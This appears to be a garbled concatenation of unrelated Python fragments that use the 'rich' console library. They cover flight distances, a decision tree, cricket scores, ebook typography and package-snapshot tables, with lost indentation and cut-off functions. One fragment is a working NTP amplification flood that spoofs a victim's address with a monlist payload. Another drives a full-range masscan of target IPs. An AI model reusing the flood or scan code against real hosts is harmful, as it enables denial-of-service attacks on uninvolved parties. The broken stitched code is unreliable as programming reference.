'''
distance.py
Calculates the direct distance between two airport/navaids.
'''
import sys
from rich.console import Console
from rich.markdown import Markdown
from igrf.magvar import Magvar
from utils import db, globenav
console = Console()
MV = Magvar()
if len(sys.argv) > 2:
src = sys.argv[1].upper()
dst = sys.argv[2].upper()
if src == dst:
sys.exit("Your source and destination are the same!")
if len(sys.argv) > 3:
region = sys.argv[3].upper()
anyRegion = False
else:
region = ""
anyRegion = True
return root.label
return self.query(root.children[x[root.col]], x)
def fit(self, X, Y):
self.column_cnt = len(X[0])
self.root = self.build(X, Y, set())
def _predict(self, x):
return self.query(self.root, x)
def predict(self, X):
return [self._predict(x) for x in X]
if __name__ == "__main__":
console = Console(markup=False)
c45 = C45(verbose=True)
# -------------------------- Example 1 ----------------------------------------
# unpruned decision tree predict correctly for all training data
print("Example 1:")
X = [
['青年', '否', '否', '一般'],
['青年', '否', '否', '好'],
['青年', '是', '否', '好'],
['青年', '是', '是', '一般'],
['青年', '否', '否', '一般'],
['老年', '否', '否', '一般'],
['老年', '否', '否', '好'],
['老年', '是', '是', '好'],
['老年', '否', '是', '非常好'],
['老年', '否', '是', '非常好'],
import get_title
import os
import nmap
import json
from queue import Queue
# 线程池经测试会GG，特采用Process方式
from multiprocessing import Process, Lock
import time
from rich.console import Console
console = Console()
dt = time.strftime('%Y-%m-%d %H:%M:%S')
# 创建进程互斥锁
lock = Lock()
task_queue = Queue()
services_info = []
# 调用masscan
def port_scan():
ip_port = []
dataList = {}
console.print(
'./masscan/bin/masscan -iL ip.txt -p 1-65535 -oJ masscan.json --rate 2000',
style="#ADFF2F")
os.system(
'./masscan/bin/masscan -iL ip.txt -p 1-65535 -oJ masscan.json --rate 2000'
)
if os.path.exists('masscan.json'):
# 提取json文件中的端口
with open('masscan.json', 'r') as f:
yield from blank_lines(bottom_space)
def __rich_measure__(
self, console: "Console", options: "ConsoleOptions"
) -> Measurement:
measurement = Measurement.get(console, options, self.renderable)
return measurement
if __name__ == "__main__": # pragma: no cover
from rich.console import Console, RenderGroup
from rich.highlighter import ReprHighlighter
from rich.panel import Panel
highlighter = ReprHighlighter()
console = Console()
panel = Panel(
RenderGroup(
Align.left(highlighter("align='left'")),
Align.center(highlighter("align='center'")),
Align.right(highlighter("align='right'")),
),
width=60,
style="on dark_blue",
title="Algin",
)
console.print(
Align.center(panel, vertical="middle", style="on red", height=console.height)
)
from rich.console import Console
from assistant.rewards.aws_utils import upload_analytics
import matplotlib.pyplot as plt
import matplotlib.ticker as ticker
from helpers.constants import BADGER, DIGG
import numpy as np
import json
console = Console()
class RewardsLog:
def __init__(self):
self._unlockSchedules = {}
self._userData = {}
self._totalTokenDist = {}
self._merkleRoot = ""
self._diggAllocation = 0
def set_merkle_root(self, root):
self._merkleRoot = root
def add_total_token_dist(self, name, token, amount):
if name not in self._totalTokenDist:
self._totalTokenDist[name] = {}
self._totalTokenDist[name][token] = amount
def _check_user_vault(self, address, vault):
if vault not in self._userData:
self._userData[vault] = {}
if address not in self._userData[vault]:
# Import modules
import random
from socket import gaierror
from rich.console import Console
from bin.addons.utils import __path
from scapy.all import IP, send, Raw, UDP
# Define styled print
print = Console().print
red = "red3"
green = "green1"
pink = "magenta3"
yellow = "yellow1"
# Load NTP servers list
with open(__path("bin", "config", "ntp_servers.txt"), "r") as f:
ntp_servers = f.readlines()
# Payload
payload = "\x17\x00\x03\x2a" + "\x00" * 4
def flood(target):
server = random.choice(ntp_servers)
# Packet
packets = random.randint(10, 150)
server = server.replace("\n", "")
try:
packet = (
IP(dst=server, src=target[0])
def main(args):
# read the .fcs meta file
fcs_info = pd.read_csv(args.fcs_info_file, sep=',')
# select the id and label column
fcs_info = np.array(fcs_info[[args.id_name, args.label_name]])
sample_ids = fcs_info[:, 0]
sample_labels = fcs_info[:, 1]
# assign label with name
sample_labels[np.where(sample_labels == args.pos)] = 1
sample_labels[np.where(sample_labels == args.neg)] = 0
sample_labels = sample_labels.astype(int)
# set random seed for reproducible results
np.random.seed(12345)
os.makedirs(args.out_dir, exist_ok=True)
markers = args.marker.strip().split(',')
marker_dic = {}
for i, marker in enumerate(markers):
marker_dic[str(i + 1)] = marker
# train and test split
assert 0 <= args.train_prop <= 1, "train split should be between 0 and 1"
group_pos = np.where(sample_labels == 1)[0]
group_neg = np.where(sample_labels == 0)[0]
train_pos_idx, train_neg_idx, test_pos_idx, test_neg_idx = train_test_split(
group_pos, group_neg, tr_prop=args.train_prop)
# write processed fcs file to output dir
train_dir = os.path.join(args.out_dir, 'train')
test_dir = os.path.join(args.out_dir, 'test')
os.makedirs(train_dir, exist_ok=False)
os.makedirs(test_dir, exist_ok=False)
console = Console()
console.print("start generating training samples :rocket:")
with console.status("[bold green]Working on tasks...") as status:
with open(os.path.join(train_dir, 'train_labels.csv'), 'w') as f:
f.write('fcs_file,label\n')
for idx in train_pos_idx:
fname = os.path.join(args.fcs_data_dir, sample_ids[idx])
write_fcs(fname, marker_dic,
os.path.join(train_dir, sample_ids[idx]),
args.downsampling, args.cluster_marker_id,
args.co_factor, args.jac_std, args.seed)
f.write(f'{sample_ids[idx]},1\n')
console.log('train positive finished')
for idx in train_neg_idx:
fname = os.path.join(args.fcs_data_dir, sample_ids[idx])
write_fcs(fname, marker_dic,
os.path.join(train_dir, sample_ids[idx]),
args.downsampling, args.cluster_marker_id,
args.co_factor, args.jac_std, args.seed)
f.write(f'{sample_ids[idx]},0\n')
console.log('train negative finished')
with open(os.path.join(test_dir, 'test_labels.csv'), 'w') as f:
f.write('fcs_file,label\n')
for idx in test_pos_idx:
fname = os.path.join(args.fcs_data_dir, sample_ids[idx])
write_fcs(fname, marker_dic,
os.path.join(test_dir, sample_ids[idx]),
args.downsampling, args.cluster_marker_id,
args.co_factor, args.jac_std, args.seed)
f.write(f'{sample_ids[idx]},1\n')
console.log('test positive finished')
for idx in test_neg_idx:
fname = os.path.join(args.fcs_data_dir, sample_ids[idx])
write_fcs(fname, marker_dic,
os.path.join(test_dir, sample_ids[idx]),
args.downsampling, args.cluster_marker_id,
args.co_factor, args.jac_std, args.seed)
f.write(f'{sample_ids[idx]},0\n')
console.log('test negative finished')
# write marker_file
with open(os.path.join(args.out_dir, 'marker.csv'), "w") as f:
f.write(args.train_marker)
console.print('finished :tada:')
def display_files(
pcs_files: List[PcsFile],
remotepath: Optional[str],
sifters: List[Sifter] = [],
highlight: bool = False,
show_size: bool = False,
show_date: bool = False,
show_md5: bool = False,
show_absolute_path: bool = False,
show_dl_link: bool = False,
show_hash_link: bool = False,
hash_link_protocol: str = PcsRapidUploadInfo.default_hash_link_protocol(),
csv: bool = False,
):
if not pcs_files:
return
table = Table(box=SIMPLE, padding=0, show_edge=False)
table.add_column()
headers = [] # for csv
headers.append("\t")
if show_size:
header = "Size"
table.add_column(header, justify="right")
headers.append(header)
if show_date:
header = "Modified Time"
table.add_column(header, justify="center")
headers.append(header)
if show_md5:
header = "md5"
table.add_column(header, justify="left")
headers.append(header)
header = "Path"
table.add_column(header, justify="left", overflow="fold")
headers.append(header)
if show_dl_link:
header = "Download Link"
table.add_column(header, justify="left", overflow="fold")
headers.append(header)
if show_hash_link:
header = "Hash Link"
table.add_column(header, justify="left", overflow="fold")
headers.append(header)
rows = [] # for csv
max_size_str_len = max([len(str(pcs_file.size)) for pcs_file in pcs_files])
for pcs_file in pcs_files:
row: List[Union[str, Text]] = []
if csv:
row.append("-")
else:
tp = Text("-", style="bold red")
row.append(tp)
if show_size:
size = human_size(pcs_file.size) if pcs_file.size else ""
if csv:
row.append(f"{size} {pcs_file.size}")
else:
row.append(f"{size} {pcs_file.size: >{max_size_str_len}}")
if show_date:
date = format_date(
pcs_file.local_mtime) if pcs_file.local_mtime else ""
row.append(date)
if show_md5:
md5 = pcs_file.md5 or ""
row.append(md5)
path = pcs_file.path if show_absolute_path else Path(
pcs_file.path).name
background = Text()
if pcs_file.is_dir:
if csv:
row[0] = "d"
else:
tp._text = ["d"]
background.style = "blue"
if highlight and sifters:
pats: List[Union[Pattern, str]] = list(
filter(None, [
sifter.pattern() for sifter in sifters if sifter.include()
]))
highlighter = Highlighter(pats, "yellow")
_path = highlighter(path)
else:
_path = Text(path)
if csv:
row.append(path)
else:
row.append(background + _path)
if show_dl_link:
row.append(pcs_file.dl_link or "")
rpinfo = pcs_file.rapid_upload_info
if show_hash_link:
link = ""
if rpinfo:
link = rpinfo.cs3l()
row.append(link)
if csv:
rows.append(row)
else:
table.add_row(*row)
if csv:
_print(remotepath)
_print("\t".join(headers))
for row in rows:
_print("\t".join(row)) # type: ignore
else:
console = Console()
if remotepath:
title = Text(remotepath, style="italic green")
console.print(title)
console.print(table)
def cricpy():
c = Cricbuzz()
f = Figlet(font='slant')
console = Console()
print(f.renderText('CRICPY'))
while 1:
matches = c.livescore()
print_scores(matches)
choice = input()
if choice == 'q':
os.system('clear')
exit()
elif choice == 'r':
continue
else:
while 1:
os.system('clear')
matches = c.livescore()
match = matches[int(choice) - 1]
single_score_table = Table(show_header=False,
show_lines=True,
expand=True)
single_score_table.add_column()
single_score_table.add_row(get_score_row(match))
console.print(single_score_table)
commentary = c.commentary(match['id'])
if len(commentary['batsman']):
batsmens = commentary['batsman']
current_batsmen_table = Table("Batsman",
"R",
"B",
"4s",
"6s",
"SR",
expand=True)
for batsmen in batsmens:
current_batsmen_table = get_batsmen_row(
batsmen, current_batsmen_table)
console.print(current_batsmen_table)
current_bowler_table = Table("Bowler",
"O",
"M",
"R",
"W",
"ER",
expand=True)
bowler = commentary['bowler'][0]
current_bowler_table = get_bowler_row(
bowler, current_bowler_table)
console.print(current_bowler_table)
commentary = commentary['comm']
commentary_table = Table(show_header=False,
padding=(1, 0, 0, 0),
expand=True)
for comment in commentary:
commentary_table = get_commentary_row(
comment, commentary_table)
commentary_table.add_row('s:scorecard,b:back,r:refresh,q:quit')
console.print(commentary_table)
ch = input()
if ch == 'r':
continue
elif ch == 'b':
break
elif ch == 'q':
os.system('clear')
exit()
elif ch == 's':
scorecard = c.scorecard(match['id'])
inning = scorecard[0]
while 1:
os.system('clear')
batsmens = inning['batcard']
batsmen_table = Table("Batsman",
"Dismissal",
"R",
"B",
"4s",
"6s",
"SR",
expand=True)
for batsmen in batsmens:
batsmen_table = get_batsmen_row(
batsmen, batsmen_table)
console.print(batsmen_table)
bowler_table = Table("Bowler",
"O",
"M",
"R",
"W",
"ER",
expand=True)
bowlers = inning['bowlcard']
for bowl in bowlers:
bowler_table = get_bowler_row(bowl, bowler_table)
console.print(bowler_table)
fall_wickets_table = Table("Fall of Wickets",
"Score",
"Over",
expand=True)
fall_wickets = inning['fall_wickets']
for fall_wicket in fall_wickets:
name = fall_wicket['name']
wicket = fall_wicket['wkt_num']
score = fall_wicket['score']
overs = fall_wicket['overs']
score = score + '-' + wicket
fall_wickets_table.add_row(name, score, overs)
console.print(fall_wickets_table)
print(
'inning number:inning scorecard,b:back,r:refresh,q:quit'
)
chh = input()
if chh == 'b':
break
elif chh == 'r':
continue
elif chh == 'q':
os.system('clear')
exit()
else:
try:
inning = scorecard[int(chh) - 1]
except:
print("wrong innings")
continue
import re
from decimal import ROUND_UP, Decimal
from pathlib import Path
from typing import List
import matplotlib.pyplot as plt
import numpy as np
from pydantic import BaseModel
from rich.console import Console
from rich.table import Table
console = Console()
class CustomDecimal(Decimal):
@classmethod
def __get_validators__(cls):
yield cls.validator
@classmethod
def validator(cls, v: float):
if not isinstance(v, float):
raise TypeError("float required.")
return cls.from_float(v).quantize(Decimal(".001"), rounding=ROUND_UP)
class AggregateResults(BaseModel):
#: 平均值
mean: CustomDecimal
#: 标准差
def typogrify() -> int:
"""
Entry point for `se typogrify`
"""
parser = argparse.ArgumentParser(
description=
"Apply some scriptable typography rules from the Standard Ebooks typography manual to XHTML files."
)
parser.add_argument(
"-n",
"--no-quotes",
dest="quotes",
action="store_false",
help="don’t convert to smart quotes before doing other adjustments")
parser.add_argument("-v",
"--verbose",
action="store_true",
help="increase output verbosity")
parser.add_argument(
"targets",
metavar="TARGET",
nargs="+",
help="an XHTML file, or a directory containing XHTML files")
args = parser.parse_args()
console = Console(
highlight=False,
theme=se.RICH_THEME,
force_terminal=se.is_called_from_parallel()
) # Syntax highlighting will do weird things when printing paths; force_terminal prints colors when called from GNU Parallel
return_code = 0
ignored_filenames = se.IGNORED_FILENAMES
ignored_filenames.remove("toc.xhtml")
ignored_filenames.remove("halftitle.xhtml")
ignored_filenames.remove("loi.xhtml")
ignored_filenames.remove("colophon.xhtml")
for filename in se.get_target_filenames(args.targets, (".xhtml", ".opf"),
ignored_filenames):
if args.verbose:
console.print(
f"Processing [path][link=file://{filename}]{filename}[/][/] ...",
end="")
try:
with open(filename, "r+", encoding="utf-8") as file:
xhtml = file.read()
if filename.name == "content.opf":
dom = se.easy_xml.EasyOpfTree(xhtml)
# Typogrify metadata except for URLs, dates, and LoC subjects
for node in dom.xpath(
"/package/metadata/dc:*[local-name() != 'subject' and local-name() != 'source' and local-name() != 'date']"
) + dom.xpath(
"/package/metadata/meta[not(contains(@property, 'se:url') or @property = 'dcterms:modified' or @property = 'se:production-notes')]"
):
contents = node.lxml_element.text
if contents:
contents = html.unescape(contents)
contents = se.typography.typogrify(contents)
# Tweak: Word joiners and nbsp don't go in metadata
contents = contents.replace(se.WORD_JOINER, "")
contents = contents.replace(se.NO_BREAK_SPACE, " ")
# Typogrify escapes ampersands, and then lxml will also escape them again, so we unescape them
# before passing to lxml.
if node.get_attr(
"property") != "se:long-description":
contents = contents.replace("&",
"&").strip()
node.lxml_element.text = contents
processed_xhtml = dom.to_string()
else:
processed_xhtml = se.typography.typogrify(
xhtml, args.quotes)
if filename.name == "toc.xhtml":
# Tweak: Word joiners and nbsp don't go in the ToC
processed_xhtml = processed_xhtml.replace(
se.WORD_JOINER, "")
processed_xhtml = processed_xhtml.replace(
se.NO_BREAK_SPACE, " ")
if processed_xhtml != xhtml:
file.seek(0)
file.write(processed_xhtml)
file.truncate()
if args.verbose:
console.print(" OK")
except FileNotFoundError:
se.print_error(
f"Couldn’t open file: [path][link=file://{filename}]{filename}[/][/]."
)
return_code = se.InvalidInputException.code
return return_code
from __future__ import annotations
from typing import Any, Iterable
import re
from rich.color import ANSI_COLOR_NAMES
from rich.console import Console
_stdout_console = Console(highlight=False)
_stderr_console = Console(highlight=False, stderr=True)
class RichString:
"""
Class used for combining normal strings and rich strings
This allows for printing and logging without rich syntax causing issues
"""
_open_tag_regex = re.compile("(%s)" % "|".join(r"\[" + c + r"\]"
for c in ANSI_COLOR_NAMES))
_close_tag_regex_1 = re.compile(r"\\(\[\/.*\])")
_close_tag_regex_2 = re.compile(r"(\[\/.*\])")
def __init__(self, stderr=False):
self.strings: list[str] = list() # Normal strings
self.riches: list[str] = list(
) # Corresponding strings with rich syntax
self.console = _stderr_console if stderr else _stdout_console
def add_string(self, s: str, rich: str = None):
""" Add a new string and optionally a rich string equivalent """
if rich is None:
def main(fn: Optional[str] = None,
cwidth: Optional[int] = None,
color: bool = True):
if cwidth is None:
console = Console(force_terminal=color, highlight=False)
else:
console = Console(force_terminal=color, highlight=False, width=cwidth)
lines = []
if fn is None:
for line in sys.stdin:
lines.append(line)
else:
with open(fn, "r") as f:
lines = f.readlines()
annotated_lines = []
ids = set()
for line in lines:
line = line.strip("\n")
annotated_line = {"line": line}
rgx = r"(\d{2}:\d{2}:\d{2}.\d{6}) ([A-Z]{4}) \[server (\d+)\](.*)"
m = re.match(rgx, line)
if m:
annotated_line["type"] = "SERVER"
annotated_line["time"] = m.group(1)
annotated_line["topic"] = m.group(2)
annotated_line["server"] = int(m.group(3))
annotated_line["id"] = "S" + m.group(3)
annotated_line["line"] = m.group(4)
ids.add(annotated_line["id"])
rgx_client = r"(\d{2}:\d{2}:\d{2}.\d{6}) ([A-Z]{4}) \[client ([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}) \(on server (\d+)\)\](.*)"
m = re.match(rgx_client, line)
if m:
annotated_line["type"] = "CLIENT"
annotated_line["time"] = m.group(1)
annotated_line["topic"] = m.group(2)
annotated_line["client"] = m.group(3)
annotated_line["server"] = int(m.group(4))
annotated_line["line"] = m.group(5)
annotated_line["id"] = "C" + annotated_line["client"][:8]
ids.add(annotated_line["id"])
if "type" not in annotated_line:
annotated_line["type"] = "SPECIAL"
annotated_line["line"] = annotated_line["line"].replace("[", "\[")
annotated_lines.append(annotated_line)
# annotated_lines = stripleaks(annotated_lines)
annotated_lines = colorstuff(annotated_lines)
ids_list = list(ids)
for aline in annotated_lines:
if aline["type"] == "SPECIAL":
continue
aline["id_index"] = ids_list.index(aline["id"])
width = console.size.width
n_columns = max(len(ids), 1)
col_width = width // n_columns - 1
for aline in annotated_lines:
line = aline["line"]
if aline["type"] == "SPECIAL":
console.print(f"[green]{line}[/green]")
continue
i = aline["id_index"]
cols = [" " for _ in range(n_columns)]
cols[
i] = f"[magenta]{aline['id']}[/magenta]@[bright_blue]{aline['time']}[/bright_blue]: {line}"
c = Columns(cols, width=col_width, equal=True, expand=True)
console.print(c)
def test_lines_rich_console():
console = Console()
lines = Lines([Text("foo")])
result = list(lines.__rich_console__(console, console.options))
assert result == [Text("foo")]
def print_info(config, selction):
'''
This function processes a meta data file without validating it,
then compares the file to now and presents the results in a table.
This acts as a 'dry run' of sorts not only showing info in the meta data
file but also showing what would be changed if actually restored.
The code is kind of gross but I'm not inclined to fix it.
'''
# Build Base Vars
m_num = selction[2:].zfill(2)
if selction.startswith('rp'):
m_path = config['rp_paths'] + '/rp' + m_num + '.meta'
elif selction.startswith('ss'):
m_path = config['ss_paths'] + '/ss' + m_num + '.meta'
# Return if Missing
if not os.path.exists(m_path):
return paf.prError(selction.upper() + ' Was NOT Found!')
# Load Meta and Compare
m = meta.read(config, m_path)
compare = meta.compare_now(config, m)
# Build Data For Table
c1 = [
'Installed Packages: ' + m['pkgs_installed'], 'Date: ' + m['date'],
'Time: ' + m['time'], 'Pacback Version: ' + m['version'],
'User Label: ' + m['label']
]
if m['stype'] == 'Full':
c1.append('Packages Cached: ' + m['pkgs_cached'])
c1.append('Cache Size: ' + m['cache_size'])
if m['dir_list']:
c1.append('')
c1.append('File Count: ' + m['file_count'])
c1.append('Raw File Size: ' + m['file_raw_size'])
c1.append('Compressed Size: ' + m['tar_size'])
c1.append('')
c1.append('Directory List')
c1.append('--------------')
for d in m['dir_list']:
c1.append(d)
c2 = list(compare['c_pkgs'])
if not c2:
c2.append('NONE')
c3 = list(compare['a_pkgs'])
if not c3:
c3.append('NONE')
c4 = list(compare['r_pkgs'])
if not c4:
c4.append('NONE')
# Build Table
t = Table(title=m['type'] + ' #' + m_num)
t.add_column('Meta Info', justify='left', style='bold white', no_wrap=True)
t.add_column('Changed Since Creation',
justify='center',
style='yellow',
no_wrap=True)
t.add_column('Added Since Creation',
justify='center',
style='green',
no_wrap=True)
t.add_column('Removed Since Creation',
justify='center',
style='red',
no_wrap=True)
# This Builds The Table Output Line by Line
counter = 0
for x in range(0, max(len(l) for l in [c1, c2, c3, c4])):
try:
a = str(c1[counter])
except Exception:
a = ''
try:
b = str(c2[counter])
except Exception:
b = ''
try:
c = str(c3[counter])
except Exception:
c = ''
try:
d = str(c4[counter])
except Exception:
d = ''
t.add_row(a, b, c, d)
counter += 1
console = Console()
console.print(t)
Style(color="magenta"),
"iso8601.timezone":
Style(color="yellow"),
}
if __name__ == "__main__": # pragma: no cover
import argparse
import io
from rich.console import Console
from rich.table import Table
from rich.text import Text
parser = argparse.ArgumentParser()
parser.add_argument("--html",
action="store_true",
help="Export as HTML table")
args = parser.parse_args()
html: bool = args.html
console = Console(record=True, width=70,
file=io.StringIO()) if html else Console()
table = Table("Name", "Styling")
for style_name, style in DEFAULT_STYLES.items():
table.add_row(Text(style_name, style=style), str(style))
console.print(table)
if html:
print(console.export_html(inline_styles=True))
def diff_meta(config, meta1, meta2):
'''
This function processes two meta data files without validating either.
It will compare meta1 as base compared to meta2 then present the results in a table.
The code is kind of gross but I'm not inclined to fix it.
'''
# Build Base Vars
m1_num = meta1[2:].zfill(2)
m2_num = meta2[2:].zfill(2)
if meta1.startswith('rp'):
m1_path = config['rp_paths'] + '/rp' + m1_num + '.meta'
elif meta1.startswith('ss'):
m1_path = config['ss_paths'] + '/ss' + m1_num + '.meta'
if meta2.startswith('rp'):
m2_path = config['rp_paths'] + '/rp' + m2_num + '.meta'
elif meta2.startswith('ss'):
m2_path = config['ss_paths'] + '/ss' + m2_num + '.meta'
# Return if Missing
if not os.path.exists(m1_path):
return paf.prError(meta1.upper() + ' Was NOT Found!')
if not os.path.exists(m2_path):
return paf.prError(meta2.upper() + ' Was NOT Found!')
# Read Meta Data
m1 = meta.read(config, m1_path)
m2 = meta.read(config, m2_path)
compare = meta.compare_meta(config, m1, m2)
# Build Info For Table
c1 = [
'Installed Packages: ' + m1['pkgs_installed'], 'Date: ' + m1['date'],
'Time: ' + m1['time'], 'Pacback Version: ' + m1['version'],
'User Label: ' + m1['label']
]
if m1['stype'] == 'Full':
c1.append('Packages Cached: ' + m1['pkgs_cached'])
c1.append('Cache Size: ' + m1['cache_size'])
if m1['dir_list']:
c1.append('')
c1.append('File Count: ' + m1['file_count'])
c1.append('Raw File Size: ' + m1['file_raw_size'])
c1.append('Compressed Size: ' + m1['tar_size'])
c1.append('')
c1.append('Directory List')
c1.append('--------------')
for d in m1['dir_list']:
c1.append(d)
c2 = list(compare['c_pkgs'])
if not c2:
c2.append('NONE')
c3 = list(compare['a_pkgs'])
if not c3:
c3.append('NONE')
c4 = list(compare['r_pkgs'])
if not c4:
c4.append('NONE')
c5 = [
'Installed Packages: ' + m2['pkgs_installed'], 'Date: ' + m2['date'],
'Time: ' + m2['time'], 'Pacback Version: ' + m2['version'],
'User Label: ' + m2['label']
]
if m2['stype'] == 'Full':
c5.append('Packages Cached: ' + m2['pkgs_cached'])
c5.append('Cache Size: ' + m2['cache_size'])
if m2['dir_list']:
c5.append('')
c5.append('File Count: ' + m2['file_count'])
c5.append('Raw File Size: ' + m2['file_raw_size'])
c5.append('Compressed Size: ' + m2['tar_size'])
c5.append('')
c5.append('Directory List')
c5.append('--------------')
for d in m2['dir_list']:
c5.append(d)
# Build Table
t = Table(title=m1['type'] + ' #' + m1_num + ' --------> ' + m2['type'] +
' #' + m2_num)
t.add_column(meta1.upper() + ' Meta Info',
justify='left',
style='bold white',
no_wrap=True)
t.add_column('Changed Since Creation',
justify='center',
style='yellow',
no_wrap=True)
t.add_column('Added Since Creation',
justify='center',
style='green',
no_wrap=True)
t.add_column('Removed Since Creation',
justify='center',
style='red',
no_wrap=True)
t.add_column(meta2.upper() + ' Meta Info',
justify='right',
style='bold white',
no_wrap=True)
# This Builds The Table Output Line by Line
counter = 0
for x in range(0, max(len(l) for l in [c1, c2, c3, c4, c5])):
try:
a = str(c5[counter])
except Exception:
a = ''
try:
b = str(c2[counter])
except Exception:
b = ''
try:
c = str(c3[counter])
except Exception:
c = ''
try:
d = str(c4[counter])
except Exception:
d = ''
try:
e = str(c5[counter])
except Exception:
e = ''
t.add_row(a, b, c, d, e)
counter += 1
console = Console()
console.print(t)
def _print_results(self):
"""
Print the results for the bump_versions command
Uses the ``rich`` library to print a set of formatted tables to the command line
summarising the linting results.
"""
log.debug("Printing bump_versions results")
console = Console(force_terminal=rich_force_colors())
# Find maximum module name length
max_mod_name_len = 40
for m in [self.up_to_date, self.updated, self.failed]:
try:
max_mod_name_len = max(len(m[2]), max_mod_name_len)
except:
pass
def _s(some_list):
if len(some_list) > 1:
return "s"
return ""
def format_result(module_updates, table):
"""
Create rows for module updates
"""
# TODO: Row styles don't work current as table-level style overrides.
# I'd like to make an issue about this on the rich repo so leaving here in case there is a future fix
last_modname = False
row_style = None
for module_update in module_updates:
if last_modname and module_update[1] != last_modname:
if row_style:
row_style = None
else:
row_style = "magenta"
last_modname = module_update[1]
table.add_row(
Markdown(f"{module_update[1]}"),
Markdown(f"{module_update[0]}"),
style=row_style,
)
return table
# Table of up to date modules
if len(self.up_to_date) > 0 and self.show_up_to_date:
console.print(
rich.panel.Panel(
r"[!] {} Module{} version{} up to date.".format(
len(self.up_to_date), _s(self.up_to_date),
_s(self.up_to_date)),
style="bold green",
))
table = Table(style="green", box=rich.box.ROUNDED)
table.add_column("Module name", width=max_mod_name_len)
table.add_column("Update Message")
table = format_result(self.up_to_date, table)
console.print(table)
# Table of updated modules
if len(self.updated) > 0:
console.print(
rich.panel.Panel(r"[!] {} Module{} updated".format(
len(self.updated), _s(self.updated)),
style="bold yellow"))
table = Table(style="yellow", box=rich.box.ROUNDED)
table.add_column("Module name", width=max_mod_name_len)
table.add_column("Update message")
table = format_result(self.updated, table)
console.print(table)
# Table of modules that couldn't be updated
if len(self.failed) > 0:
console.print(
rich.panel.Panel(r"[!] {} Module update{} failed".format(
len(self.failed), _s(self.failed)),
style="bold red"))
table = Table(style="red", box=rich.box.ROUNDED)
table.add_column("Module name", width=max_mod_name_len)
table.add_column("Update message")
table = format_result(self.failed, table)
console.print(table)
# Table of modules ignored due to `.nf-core.yml`
if len(self.ignored) > 0:
console.print(
rich.panel.Panel(r"[!] {} Module update{} ignored".format(
len(self.ignored), _s(self.ignored)),
style="grey58"))
table = Table(style="grey58", box=rich.box.ROUNDED)
table.add_column("Module name", width=max_mod_name_len)
table.add_column("Update message")
table = format_result(self.ignored, table)
console.print(table)
def scan_file(path: str):
console = Console(width=45)
driver = pefile.PE(path)
console.print("Checking {}...".format(os.path.basename(path)),
end='',
justify="left")
searched_imports = {
"MmMapIoSpace", "MmMapIoSpaceEx", "MmGetPhysicalAddress",
"ZwMapViewOfSection"
}
ntoskrnl_exe = [
n for n in driver.DIRECTORY_ENTRY_IMPORT
if n.dll.decode('utf-8') == 'ntoskrnl.exe'
]
if not ntoskrnl_exe:
console.print("[[[green] OK [/]]]", justify="right")
return
found = [
i for i in ntoskrnl_exe[0].imports
if i.name.decode('utf-8') in searched_imports
]
if found:
console.print("[[[bold red] FAIL [/]]]", justify="right")
for imp in found:
console.print("Found {} @ {}\n\n".format(imp.name.decode('utf-8'),
hex(imp.address)))
else:
console.print("[[[green] OK [/]]]", justify="right")
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
"""Cleans up the environment before starting CI."""
import rich_click as click
from rich.console import Console
from airflow_breeze.utils.run_utils import run_command
console = Console(force_terminal=True, color_system="standard", width=180)
option_verbose = click.option(
"--verbose",
envvar='VERBOSE',
is_flag=True,
help="Print verbose information about free space steps",
)
option_dry_run = click.option(
"--dry-run",
is_flag=True,
help="Just prints commands without executing them",
)
class CustomPrint():
def __init__(self):
self.CustomColor = {
"info": range(214, 232),
"error": range(196, 214),
"success": range(106, 124),
"logo": range(0, 255)
}
self.Spinner = [
'circle', 'balloon', 'simpleDots', 'christmas', 'monkey', 'moon',
'point', 'runner', 'weather'
]
self.Console = Console()
def PrintInput(self, text):
return self.Console.input(
f'{text} :backhand_index_pointing_right: : [bold orange]')
def PrintLogo(self, text):
rainbow = RainbowHighlighter(self.CustomColor['logo'])
self.Console.print(rainbow(text))
def PrintInfo(self, text):
rainbow = RainbowHighlighter(self.CustomColor['info'])
self.Console.print(rainbow(f'[*] {text}\n'))
def PrintError(self, text):
rainbow = RainbowHighlighter(self.CustomColor['error'])
self.Console.print(rainbow(f'[!] {text}\n'))
def PrintSuccess(self, text):
rainbow = RainbowHighlighter(self.CustomColor['success'])
self.Console.print(rainbow(f'[+] {text}\n'))
def PrintRule(self, text, style='green'):
self.Console.rule(text, style=style)
def PrintStatus(self, text, fun, **kwargs):
with self.Console.status(text, spinner=choice(self.Spinner)):
return fun(**kwargs)
def PrintDirTree(self, dirpath, dirdepth):
DirTree = Tree(f'目录结构:\n{os.path.basename(dirpath)}',
guide_style='green')
self.__ListDir(DirTree, dirpath, dirdepth)
self.Console.print(DirTree)
def __ListDir(self, dirtree, dirpath, dirdepth):
Color = ['blue', 'orange'
'yellow', 'green', 'cyan', 'purple', 'red'][dirdepth]
dirdepth -= 1
if dirdepth <= 0:
return
for _ in os.listdir(dirpath):
Path = self.__ReslovePath(dirpath, _)
if os.path.isfile(Path):
dirtree.add(f':page_facing_up:{_}')
if os.path.isdir(Path):
if _ not in ['', os.curdir, os.pardir]:
self.__ListDir(
dirtree.add(f':file_folder:{_}', guide_style=Color),
Path, dirdepth)
def __ReslovePath(self, *args):
return os.path.abspath(os.path.join(*args))
import requests
import pandas as pd
import datetime
import yfinance as yf
from rich import print
from rich import inspect
from rich.color import Color
from rich.console import Console
console = Console()
class NewsFeed:
"""Multiple news title and links as a single string based on interest
"""
base_url = "http://newsapi.org/v2/"
api_info = pd.read_excel(
'/Users/paulsprouse/Desktop/API_info/API_List.xlsx')
api_key = api_info[api_info['API_Name'] == 'newsapi.org']['API_number'][0]
def __init__(self,
interest,
from_date,
to_date,
source_type='everything',
country='us',
q="qInTitle",
language='en',
sort_by="sortBy=publishedAT"):
self.source_type = source_type
self.country = country
self.q = q
def clean() -> int:
"""
Entry point for `se clean`
"""
parser = argparse.ArgumentParser(
description=
"Prettify and canonicalize individual XHTML, SVG, or CSS files, or all XHTML, SVG, or CSS files in a source directory. Note that this only prettifies the source code; it doesn’t perform typography changes."
)
parser.add_argument("-v",
"--verbose",
action="store_true",
help="increase output verbosity")
parser.add_argument(
"targets",
metavar="TARGET",
nargs="+",
help=
"an XHTML, SVG, or CSS file, or a directory containing XHTML, SVG, or CSS files"
)
args = parser.parse_args()
console = Console(
